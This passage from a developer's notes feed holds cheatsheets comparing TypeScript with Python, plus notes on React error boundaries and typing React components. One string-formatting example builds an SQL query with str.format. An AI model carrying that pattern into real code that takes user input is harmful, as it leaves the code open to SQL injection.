        return new User(Date.now(), name)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class User:
    # Class variable (shared across instances)
    count: int = 0

    def __init__(self, id: int, name: str):
        self.id = id          # Instance variable (public)
        self.name = name
        self._email = &quot;&quot;      # Convention: &quot;private&quot; (still accessible)
        self.__secret = &quot;&quot;    # Name-mangled (harder to access)
        User.count += 1

    def greet(self) -&amp;gt; str:
        return f&quot;Hello, {self.name}&quot;

    @staticmethod
    def validate(name: str) -&amp;gt; bool:
        return len(name) &amp;gt; 0

    @classmethod
    def create(cls, name: str) -&amp;gt; &quot;User&quot;:
        return cls(id(name), name)

    @property
    def email(self) -&amp;gt; str:
        return self._email

    @email.setter
    def email(self, value: str):
        self._email = value.lower()

# Usage
user = User(1, &quot;Alice&quot;)
user.email = &quot;ALICE@example.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dataclasses (like TypeScript interfaces + classes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from dataclasses import dataclass, field
from typing import Optional

@dataclass
class User:
    id: int
    name: str
    email: Optional[str] = None
    tags: list[str] = field(default_factory=list)

# Auto-generates __init__, __repr__, __eq__
user = User(id=1, name=&quot;Alice&quot;)
print(user)  # User(id=1, name=&apos;Alice&apos;, email=None, tags=[])

# Frozen (immutable, like readonly)
@dataclass(frozen=True)
class Point:
    x: float
    y: float
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Interfaces (Protocols)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface Drawable {
    draw(): void
}

interface Resizable {
    resize(width: number, height: number): void
}

class Circle implements Drawable, Resizable {
    draw() { /* ... */ }
    resize(w: number, h: number) { /* ... */ }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from typing import Protocol

class Drawable(Protocol):
    def draw(self) -&amp;gt; None: ...

class Resizable(Protocol):
    def resize(self, width: int, height: int) -&amp;gt; None: ...

# No &quot;implements&quot; needed - structural typing (duck typing)
class Circle:
    def draw(self) -&amp;gt; None:
        print(&quot;Drawing circle&quot;)

    def resize(self, width: int, height: int) -&amp;gt; None:
        pass

# This works because Circle has the required methods
def render(item: Drawable) -&amp;gt; None:
    item.draw()

render(Circle())  # ✅ Works
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Error handling&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;try {
    const data = await fetchData()
} catch (error) {
    if (error instanceof NotFoundError) {
        console.log(&quot;Not found&quot;)
    }
    throw error
} finally {
    cleanup()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;try:
    data = fetch_data()
except NotFoundError:
    print(&quot;Not found&quot;)
except (ValueError, TypeError) as e:
    print(f&quot;Invalid: {e}&quot;)
except Exception as e:
    raise RuntimeError(&quot;Failed&quot;) from e  # Chain exceptions
else:
    print(&quot;Success!&quot;)  # Only if no exception
finally:
    cleanup()

# Custom exceptions
class ValidationError(Exception):
    def __init__(self, field: str, message: str):
        self.field = field
        super().__init__(f&quot;{field}: {message}&quot;)

raise ValidationError(&quot;email&quot;, &quot;Invalid format&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Arrays (Lists)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const arr: number[] = [1, 2, 3]
arr.push(4)
const doubled = arr.map(n =&amp;gt; n * 2)
const evens = arr.filter(n =&amp;gt; n % 2 === 0)
const sum = arr.reduce((a, b) =&amp;gt; a + b, 0)
const first = arr[0]
const last = arr.at(-1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;arr: list[int] = [1, 2, 3]
arr.append(4)

# List comprehensions (preferred over map/filter)
doubled = [n * 2 for n in arr]
evens = [n for n in arr if n % 2 == 0]
sum_val = sum(arr)

# Indexing
first = arr[0]
last = arr[-1]  # Negative indexing built-in!

# Slicing
arr[1:3]     # [2, 3]
arr[::2]     # [1, 3] - every 2nd element
arr[::-1]    # [3, 2, 1] - reversed

# Unpacking (like destructuring)
first, *rest = arr        # first=1, rest=[2,3]
first, *middle, last = [1, 2, 3, 4]  # first=1, middle=[2,3], last=4

# Spread equivalent
combined = [*arr, 4, 5]

# Map/filter with functions
doubled = list(map(lambda n: n * 2, arr))
evens = list(filter(lambda n: n % 2 == 0, arr))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Dictionaries (Objects)&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const scores: Record&amp;lt;string, number&amp;gt; = {
    alice: 100,
    bob: 85
}
scores[&quot;charlie&quot;] = 90
scores.alice
delete scores.bob
Object.keys(scores)
Object.entries(scores)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;scores: dict[str, int] = {
    &quot;alice&quot;: 100,
    &quot;bob&quot;: 85
}

# Access
scores[&quot;charlie&quot;] = 90
scores[&quot;alice&quot;]
scores.get(&quot;david&quot;, 0)  # Default value if missing

# Delete
del scores[&quot;bob&quot;]
scores.pop(&quot;bob&quot;, None)  # Delete with default

# Methods
scores.keys()
scores.values()
scores.items()  # Like Object.entries()

# Iteration
for name, score in scores.items():
    print(f&quot;{name}: {score}&quot;)

# Dict comprehension
doubled = {k: v * 2 for k, v in scores.items()}

# Merge (spread equivalent)
merged = {**scores, &quot;david&quot;: 70}
merged = scores | {&quot;david&quot;: 70}  # Python 3.9+

# Check key exists
if &quot;alice&quot; in scores:
    print(&quot;Found!&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Async/Await&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;async function fetchData(url: string): Promise&amp;lt;Response&amp;gt; {
    const response = await fetch(url)
    return response
}

const results = await Promise.all([
    fetchData(&quot;url1&quot;),
    fetchData(&quot;url2&quot;)
])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import asyncio
import aiohttp  # pip install aiohttp

async def fetch_data(url: str) -&amp;gt; str:
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            return await response.text()

# Promise.all equivalent
results = await asyncio.gather(
    fetch_data(&quot;url1&quot;),
    fetch_data(&quot;url2&quot;)
)

# Run async code
asyncio.run(main())

# Create tasks (fire and forget, then await)
async def main():
    task1 = asyncio.create_task(fetch_data(&quot;url1&quot;))
    task2 = asyncio.create_task(fetch_data(&quot;url2&quot;))
    results = await asyncio.gather(task1, task2)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Modules and imports&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Named exports
export const foo = 1
export function bar() {}

// Default export
export default class MyClass {}

// Import
import MyClass, { foo, bar } from &apos;./module&apos;
import * as utils from &apos;./utils&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# my_module.py
foo = 1

def bar():
    pass

class MyClass:
    pass

# Import
from my_module import foo, bar, MyClass
import my_module
from my_module import *  # Not recommended

# Aliasing
from my_module import foo as my_foo
import numpy as np

# Relative imports (in packages)
from . import sibling
from ..parent import something
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Package management&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;npm init
npm install express
npm install -D typescript
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# pip (built-in)
pip install requests
pip install -r requirements.txt
pip freeze &amp;gt; requirements.txt

# poetry (recommended for projects)
poetry init
poetry add requests
poetry add --group dev pytest

# uv (fast, modern)
uv init
uv add requests
uv add --dev pytest
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# requirements.txt
requests&amp;gt;=2.28.0
pydantic&amp;gt;=2.0.0
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# pyproject.toml (modern)
[project]
name = &quot;myproject&quot;
dependencies = [
    &quot;requests&amp;gt;=2.28.0&quot;,
    &quot;pydantic&amp;gt;=2.0.0&quot;,
]

[project.optional-dependencies]
dev = [&quot;pytest&quot;, &quot;mypy&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;JSON handling&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const json = JSON.stringify(obj)
const parsed = JSON.parse(json)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import json

# Stringify
json_str = json.dumps(obj)
json.dumps(obj, indent=2)  # Pretty print

# Parse
data = json.loads(json_str)

# File I/O
with open(&quot;data.json&quot;) as f:
    data = json.load(f)

with open(&quot;output.json&quot;, &quot;w&quot;) as f:
    json.dump(obj, f, indent=2)

# With Pydantic (like Zod for validation)
from pydantic import BaseModel

class User(BaseModel):
    id: int
    name: str
    email: str | None = None

user = User.model_validate_json(&apos;{&quot;id&quot;: 1, &quot;name&quot;: &quot;Alice&quot;}&apos;)
json_str = user.model_dump_json()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HTTP server (FastAPI)&lt;/h2&gt;
&lt;h3&gt;TypeScript (Express)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import express from &apos;express&apos;

const app = express()
app.use(express.json())

app.get(&apos;/users/:id&apos;, (req, res) =&amp;gt; {
    res.json({ id: req.params.id, name: &apos;Alice&apos; })
})

app.post(&apos;/users&apos;, (req, res) =&amp;gt; {
    const { name, email } = req.body
    res.status(201).json({ id: 1, name, email })
})

app.listen(3000)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python (FastAPI)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from fastapi import FastAPI, HTTPException
from pydantic import BaseModel

app = FastAPI()

class UserCreate(BaseModel):
    name: str
    email: str | None = None

class User(BaseModel):
    id: int
    name: str
    email: str | None = None

@app.get(&quot;/users/{user_id}&quot;)
async def get_user(user_id: int) -&amp;gt; User:
    return User(id=user_id, name=&quot;Alice&quot;)

@app.post(&quot;/users&quot;, status_code=201)
async def create_user(user: UserCreate) -&amp;gt; User:
    return User(id=1, **user.model_dump())

# Run with: uvicorn main:app --reload
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Testing&lt;/h2&gt;
&lt;h3&gt;TypeScript (Jest)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;describe(&apos;math&apos;, () =&amp;gt; {
    it(&apos;adds numbers&apos;, () =&amp;gt; {
        expect(add(1, 2)).toBe(3)
    })

    it(&apos;throws on invalid input&apos;, () =&amp;gt; {
        expect(() =&amp;gt; divide(1, 0)).toThrow()
    })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python (pytest)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# test_math.py
import pytest

def test_add():
    assert add(1, 2) == 3

def test_divide_by_zero():
    with pytest.raises(ZeroDivisionError):
        divide(1, 0)

# Parametrized tests
@pytest.mark.parametrize(&quot;a,b,expected&quot;, [
    (1, 2, 3),
    (0, 0, 0),
    (-1, 1, 0),
])
def test_add_params(a, b, expected):
    assert add(a, b) == expected

# Fixtures (like beforeEach)
@pytest.fixture
def user():
    return User(id=1, name=&quot;Test&quot;)

def test_greet(user):
    assert user.greet() == &quot;Hello, Test&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;pytest
pytest -v --cov=myapp
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;String formatting&lt;/h2&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const name = &quot;Alice&quot;
const message = `Hello, ${name}!`
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;name = &quot;Alice&quot;

# f-strings (recommended, Python 3.6+)
message = f&quot;Hello, {name}!&quot;
f&quot;2 + 2 = {2 + 2}&quot;
f&quot;Pi: {3.14159:.2f}&quot;  # Formatting: &quot;Pi: 3.14&quot;

# .format() method
&quot;Hello, {}!&quot;.format(name)
&quot;Hello, {name}!&quot;.format(name=name)

# Multiline strings
query = &quot;&quot;&quot;
    SELECT *
    FROM users
    WHERE id = {id}
&quot;&quot;&quot;.format(id=1)

# Raw strings (like String.raw)
path = r&quot;C:\Users\name&quot;  # Backslashes not escaped
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Common gotchas for TS developers&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Indentation matters&lt;/strong&gt; - use 4 spaces (PEP 8 standard)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No braces&lt;/strong&gt; - blocks defined by indentation only&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;self&lt;/code&gt; is explicit&lt;/strong&gt; - must be first parameter in methods&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mutable default arguments&lt;/strong&gt; - never use &lt;code&gt;def f(items=[]):&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;is&lt;/code&gt; vs &lt;code&gt;==&lt;/code&gt;&lt;/strong&gt; - &lt;code&gt;is&lt;/code&gt; checks identity, &lt;code&gt;==&lt;/code&gt; checks equality&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Everything is an object&lt;/strong&gt; - functions, classes, modules&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No &lt;code&gt;++&lt;/code&gt;/&lt;code&gt;--&lt;/code&gt;&lt;/strong&gt; - use &lt;code&gt;+= 1&lt;/code&gt; or &lt;code&gt;-= 1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Truthiness differs&lt;/strong&gt; - empty collections are falsy&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# Mutable default argument gotcha
def bad(items=[]):  # ❌ Same list reused!
    items.append(1)
    return items

def good(items=None):  # ✅
    if items is None:
        items = []
    items.append(1)
    return items
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/tutorial/&quot;&gt;Python Official Tutorial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://realpython.com/&quot;&gt;Real Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fastapi.tiangolo.com/&quot;&gt;FastAPI Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.pydantic.dev/&quot;&gt;Pydantic Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html&quot;&gt;Python Type Hints Cheat Sheet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>python</category><category>typescript</category><category>cheatsheet</category><author>Zander Martineau</author></item><item><title>React Error Boundary</title><link>https://zander.wtf/notes/react-errorboundary/</link><guid isPermaLink="true">https://zander.wtf/notes/react-errorboundary/</guid><description>Error boundaries catch JavaScript errors in their child component tree, log those errors, and display a fallback UI instead of crashing the whole app.…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Error boundaries catch JavaScript errors in their child component tree, log those errors, and display a fallback UI instead of crashing the whole app.&lt;/p&gt;
&lt;h2&gt;Using &lt;code&gt;react-error-boundary&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/bvaughn/react-error-boundary&quot;&gt;&lt;code&gt;react-error-boundary&lt;/code&gt;&lt;/a&gt; package provides a ready-to-use solution that&apos;s easier than writing your own class component.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install react-error-boundary
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Basic usage&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { ErrorBoundary } from &apos;react-error-boundary&apos;

const App = () =&amp;gt; (
  &amp;lt;ErrorBoundary fallback={&amp;lt;div&amp;gt;Something went wrong&amp;lt;/div&amp;gt;}&amp;gt;
    &amp;lt;MyComponent /&amp;gt;
  &amp;lt;/ErrorBoundary&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;With fallback component&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { ErrorBoundary, FallbackProps } from &apos;react-error-boundary&apos;

const ErrorFallback = ({ error, resetErrorBoundary }: FallbackProps) =&amp;gt; (
  &amp;lt;div role=&quot;alert&quot;&amp;gt;
    &amp;lt;p&amp;gt;Something went wrong:&amp;lt;/p&amp;gt;
    &amp;lt;pre&amp;gt;{error.message}&amp;lt;/pre&amp;gt;
    &amp;lt;button onClick={resetErrorBoundary}&amp;gt;Try again&amp;lt;/button&amp;gt;
  &amp;lt;/div&amp;gt;
)

const App = () =&amp;gt; (
  &amp;lt;ErrorBoundary
    FallbackComponent={ErrorFallback}
    onReset={() =&amp;gt; {
      // Reset app state here
    }}
    onError={(error, info) =&amp;gt; {
      // Log to error reporting service
      console.error(error, info.componentStack)
    }}
  &amp;gt;
    &amp;lt;MyComponent /&amp;gt;
  &amp;lt;/ErrorBoundary&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Reset on navigation or prop change&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;ErrorBoundary
  FallbackComponent={ErrorFallback}
  resetKeys={[pathname, userId]}
&amp;gt;
  &amp;lt;MyComponent /&amp;gt;
&amp;lt;/ErrorBoundary&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;useErrorBoundary hook&lt;/h3&gt;
&lt;p&gt;Trigger error boundary from event handlers or effects:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useErrorBoundary } from &apos;react-error-boundary&apos;

const MyComponent = () =&amp;gt; {
  const { showBoundary } = useErrorBoundary()

  const handleClick = async () =&amp;gt; {
    try {
      await riskyOperation()
    } catch (error) {
      showBoundary(error)
    }
  }

  return &amp;lt;button onClick={handleClick}&amp;gt;Do something risky&amp;lt;/button&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;With Suspense&lt;/h2&gt;
&lt;p&gt;Error boundaries pair nicely with Suspense for data fetching:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { Suspense } from &apos;react&apos;
import { ErrorBoundary } from &apos;react-error-boundary&apos;

const App = () =&amp;gt; (
  &amp;lt;ErrorBoundary fallback={&amp;lt;div&amp;gt;Failed to load&amp;lt;/div&amp;gt;}&amp;gt;
    &amp;lt;Suspense fallback={&amp;lt;div&amp;gt;Loading...&amp;lt;/div&amp;gt;}&amp;gt;
      &amp;lt;DataComponent /&amp;gt;
    &amp;lt;/Suspense&amp;gt;
  &amp;lt;/ErrorBoundary&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Custom class-based error boundary&lt;/h2&gt;
&lt;p&gt;If you prefer not to use a library:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { Component, ReactNode } from &apos;react&apos;

interface Props {
  children: ReactNode
  fallback?: ReactNode
}

interface State {
  hasError: boolean
  error: Error | null
}

class ErrorBoundary extends Component&amp;lt;Props, State&amp;gt; {
  state: State = { hasError: false, error: null }

  static getDerivedStateFromError(error: Error): State {
    return { hasError: true, error }
  }

  componentDidCatch(error: Error, errorInfo: React.ErrorInfo) {
    console.error(&apos;Error caught:&apos;, error, errorInfo.componentStack)
  }

  render() {
    if (this.state.hasError) {
      return this.props.fallback ?? &amp;lt;div&amp;gt;Something went wrong&amp;lt;/div&amp;gt;
    }
    return this.props.children
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;What error boundaries don&apos;t catch&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Event handlers (use try/catch)&lt;/li&gt;
&lt;li&gt;Async code (use try/catch or &lt;code&gt;.catch()&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Server-side rendering&lt;/li&gt;
&lt;li&gt;Errors in the error boundary itself&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>React TypeScript</title><link>https://zander.wtf/notes/react-typescript/</link><guid isPermaLink="true">https://zander.wtf/notes/react-typescript/</guid><description>React TypeScript cheatsheet is my bible for all React/TypeScript things. Typing components The preferred method is to type props directly rather than using…</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/typescript-cheatsheets/react-typescript-cheatsheet&quot;&gt;React TypeScript cheatsheet&lt;/a&gt; is my bible for all React/TypeScript things.&lt;/p&gt;
&lt;h2&gt;Typing components&lt;/h2&gt;
&lt;p&gt;The preferred method is to type props directly rather than using &lt;code&gt;FC&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface ButtonProps {
  label: string
  onClick: () =&amp;gt; void
  disabled?: boolean
}

const Button = ({ label, onClick, disabled }: ButtonProps) =&amp;gt; {
  return (
    &amp;lt;button onClick={onClick} disabled={disabled}&amp;gt;
      {label}
    &amp;lt;/button&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;With children&lt;/h3&gt;
&lt;p&gt;Explicitly type children when you need them:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import type { ReactNode } from &apos;react&apos;

interface CardProps {
  title: string
  children: ReactNode
}

const Card = ({ title, children }: CardProps) =&amp;gt; (
  &amp;lt;div&amp;gt;
    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;
    {children}
  &amp;lt;/div&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;With PropsWithChildren&lt;/h3&gt;
&lt;p&gt;If you want a shorthand for adding children:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import type { PropsWithChildren } from &apos;react&apos;

interface CardProps {
  title: string
}

const Card = ({ title, children }: PropsWithChildren&amp;lt;CardProps&amp;gt;) =&amp;gt; (
  &amp;lt;div&amp;gt;
    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;
    {children}
  &amp;lt;/div&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Why not &lt;code&gt;FC&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;FC&lt;/code&gt; (FunctionComponent) is no longer recommended because:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It used to implicitly include &lt;code&gt;children&lt;/code&gt; (fixed in React 18, but the habit stuck)&lt;/li&gt;
&lt;li&gt;It doesn&apos;t play well with generics&lt;/li&gt;
&lt;li&gt;Direct prop typing is more explicit and flexible&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// ❌ Less preferred
const Button: FC&amp;lt;ButtonProps&amp;gt; = ({ label }) =&amp;gt; &amp;lt;button&amp;gt;{label}&amp;lt;/button&amp;gt;

// ✅ Preferred
const Button = ({ label }: ButtonProps) =&amp;gt; &amp;lt;button&amp;gt;{label}&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: &lt;code&gt;VFC&lt;/code&gt; (VoidFunctionComponent) was deprecated in React 18 and removed in React 19.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Basic prop types&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;type AppProps = {
  message: string
  count: number
  disabled: boolean
  names: string[]
  status: &apos;waiting&apos; | &apos;success&apos; | &apos;error&apos;
  /** Object with specific shape */
  user: {
    id: string
    name: string
  }
  /** Array of objects */
  items: {
    id: string
    title: string
  }[]
  /** Record type for dictionaries */
  scores: Record&amp;lt;string, number&amp;gt;
  /** Function that returns nothing */
  onClick: () =&amp;gt; void
  /** Function with parameters */
  onChange: (value: string) =&amp;gt; void
  /** Optional prop */
  optional?: string
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Event handling&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const handleClick = (event: React.MouseEvent&amp;lt;HTMLButtonElement&amp;gt;) =&amp;gt; {
  console.log(event.currentTarget)
}

const handleChange = (event: React.ChangeEvent&amp;lt;HTMLInputElement&amp;gt;) =&amp;gt; {
  console.log(event.target.value)
}

const handleSubmit = (event: React.FormEvent&amp;lt;HTMLFormElement&amp;gt;) =&amp;gt; {
  event.preventDefault()
}

const handleKeyDown = (event: React.KeyboardEvent&amp;lt;HTMLInputElement&amp;gt;) =&amp;gt; {
  if (event.key === &apos;Enter&apos;) {
    // ...
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Common prop patterns&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import type { ReactNode, CSSProperties, ComponentPropsWithoutRef } from &apos;react&apos;

interface Props {
  /** Anything React can render */
  children: ReactNode
  /** Style object */
  style?: CSSProperties
  /** Class name */
  className?: string
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Extending HTML elements&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import type { ComponentPropsWithoutRef } from &apos;react&apos;

interface ButtonProps extends ComponentPropsWithoutRef&amp;lt;&apos;button&apos;&amp;gt; {
  variant: &apos;primary&apos; | &apos;secondary&apos;
}

const Button = ({ variant, children, ...rest }: ButtonProps) =&amp;gt; (
  &amp;lt;button className={`btn-${variant}`} {...rest}&amp;gt;
    {children}
  &amp;lt;/button&amp;gt;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;With ref forwarding&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { forwardRef, type ComponentPropsWithRef } from &apos;react&apos;

interface InputProps extends ComponentPropsWithRef&amp;lt;&apos;input&apos;&amp;gt; {
  label: string
}

const Input = forwardRef&amp;lt;HTMLInputElement, InputProps&amp;gt;(
  ({ label, ...rest }, ref) =&amp;gt; (
    &amp;lt;label&amp;gt;
      {label}
      &amp;lt;input ref={ref} {...rest} /&amp;gt;
    &amp;lt;/label&amp;gt;
  )
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hooks&lt;/h2&gt;
&lt;h3&gt;useState&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Type is inferred
const [count, setCount] = useState(0)

// Explicit type for complex state
const [user, setUser] = useState&amp;lt;User | null&amp;gt;(null)

// Union types
const [status, setStatus] = useState&amp;lt;&apos;idle&apos; | &apos;loading&apos; | &apos;success&apos;&amp;gt;(&apos;idle&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;useRef&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// DOM element ref
const inputRef = useRef&amp;lt;HTMLInputElement&amp;gt;(null)

// Mutable ref (no null)
const intervalRef = useRef&amp;lt;number | undefined&amp;gt;(undefined)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;useReducer&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;type State = { count: number }
type Action = { type: &apos;increment&apos; } | { type: &apos;decrement&apos; } | { type: &apos;reset&apos;; payload: number }

const reducer = (state: State, action: Action): State =&amp;gt; {
  switch (action.type) {
    case &apos;increment&apos;:
      return { count: state.count + 1 }
    case &apos;decrement&apos;:
      return { count: state.count - 1 }
    case &apos;reset&apos;:
      return { count: action.payload }
  }
}

const [state, dispatch] = useReducer(reducer, { count: 0 })
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;useContext&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;interface ThemeContextType {
  theme: &apos;light&apos; | &apos;dark&apos;
  toggleTheme: () =&amp;gt; void
}

const ThemeContext = createContext&amp;lt;ThemeContextType | null&amp;gt;(null)

const useTheme = () =&amp;gt; {
  const context = useContext(ThemeContext)
  if (!context) {
    throw new Error(&apos;useTheme must be used within ThemeProvider&apos;)
  }
  return context
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Generic components&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;interface ListProps&amp;lt;T&amp;gt; {
  items: T[]
  renderItem: (item: T) =&amp;gt; ReactNode
}

const List = &amp;lt;T,&amp;gt;({ items, renderItem }: ListProps&amp;lt;T&amp;gt;) =&amp;gt; (
  &amp;lt;ul&amp;gt;
    {items.map((item, index) =&amp;gt; (
      &amp;lt;li key={index}&amp;gt;{renderItem(item)}&amp;lt;/li&amp;gt;
    ))}
  &amp;lt;/ul&amp;gt;
)

// Usage
&amp;lt;List items={users} renderItem={(user) =&amp;gt; &amp;lt;span&amp;gt;{user.name}&amp;lt;/span&amp;gt;} /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Discriminated unions for props&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;type ButtonProps =
  | { variant: &apos;link&apos;; href: string }
